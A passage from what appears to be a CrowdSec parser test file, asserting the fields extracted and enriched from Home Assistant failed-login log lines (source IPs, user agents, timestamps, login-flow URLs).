results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][3].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Parsed["message"] == "2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Parsed["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Parsed["time"] == "2021-12-12 12:32:22" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][4].Evt.Meta["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Parsed["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Parsed["time"] == "2021-12-12 12:32:23" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Parsed["message"] == "2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Meta["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][5].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Parsed["time"] == "2021-12-12 12:32:23" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Parsed["message"] == "2021-12-12 12:32:23 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Parsed["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Parsed["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/home-assistant-logs"][6].Evt.Meta["source_rdns"] == "localhost" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Parsed["message"] == "2022-02-10 06:56:48 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost.home (192.168.1.23). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Parsed["source_ip"] == "192.168.1.23" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Parsed["source_rdns"] == "localhost.home" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Parsed["time"] == "2022-02-10 06:56:48" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Meta["source_ip"] == "192.168.1.23" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Meta["source_rdns"] == "localhost.home" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][7].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["time"] == "2022-08-11 01:37:55.287" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["url"] == "/auth/login_flow/69d9550b6315c1b2c241a0bb68323883" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Parsed["message"] == "2022-08-11 01:37:55.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/69d9550b6315c1b2c241a0bb68323883'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Meta["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][8].Evt.Meta["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["time"] == "2022-08-11 01:37:56.287" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["url"] == "/auth/login_flow/15168dcd077f019968334f81c0ae7e32" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Parsed["message"] == "2022-08-11 01:37:56.287 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Meta["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Meta["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][9].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["message"] == "2022-08-11 01:37:57.644 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["time"] == "2022-08-11 01:37:57.644" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Parsed["url"] == "/auth/login_flow/15168dcd077f019968334f81c0ae7e32" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Meta["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][10].Evt.Meta["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["time"] == "2022-08-11 01:37:58.454" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["url"] == "/auth/login_flow/15168dcd077f019968334f81c0ae7e32" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["message"] == "2022-08-11 01:37:58.454 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/15168dcd077f019968334f81c0ae7e32'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Parsed["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Meta["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Meta["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][11].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["time"] == "2022-08-11 01:37:59.587" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["url"] == "/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb7" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["message"] == "2022-08-11 01:37:59.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb7'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Meta["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Meta["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][12].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Success == true results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["program"] == "home-assistant" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["source_rdns"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["threadName"] == "MainThread" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["time"] == "2022-08-11 01:38:00.587" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["url"] == "/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb8" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Parsed["message"] == "2022-08-11 01:38:00.587 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from 192.168.254.4 (192.168.254.4). Requested URL: '/auth/login_flow/fc3d138f29d7be40b46dc4bdbc86fbb8'. (Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0)" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Meta["source_ip"] == "192.168.254.4" results["s01-parse"]["crowdsecurity/home-assistant-logs"][13].Evt.Meta["source_rdns"] == "192.168.254.4" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 14 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "2021-12-12 12:32:19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2021-12-12 12:32:19 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2021-12-12T12:32:19Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2021-12-12T12:32:19Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "2021-12-12 12:32:21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2021-12-12T12:32:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-12-12T12:32:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "2021-12-12 12:32:21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2021-12-12 12:32:21 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2021-12-12T12:32:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2021-12-12T12:32:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "2021-12-12 12:32:22" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2021-12-12T12:32:22Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "home-assistant-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2021-12-12T12:32:22Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_rdns"] == "localhost" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["threadName"] == "MainThread" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time"] == "2021-12-12 12:32:22" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2021-12-12 12:32:22 WARNING (MainThread) [homeassistant.components.http.ban] Login attempt or request with invalid authentication from localhost (127.0.0.1). (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "home-assistant" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "home-assistant_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "127.0.0.1" 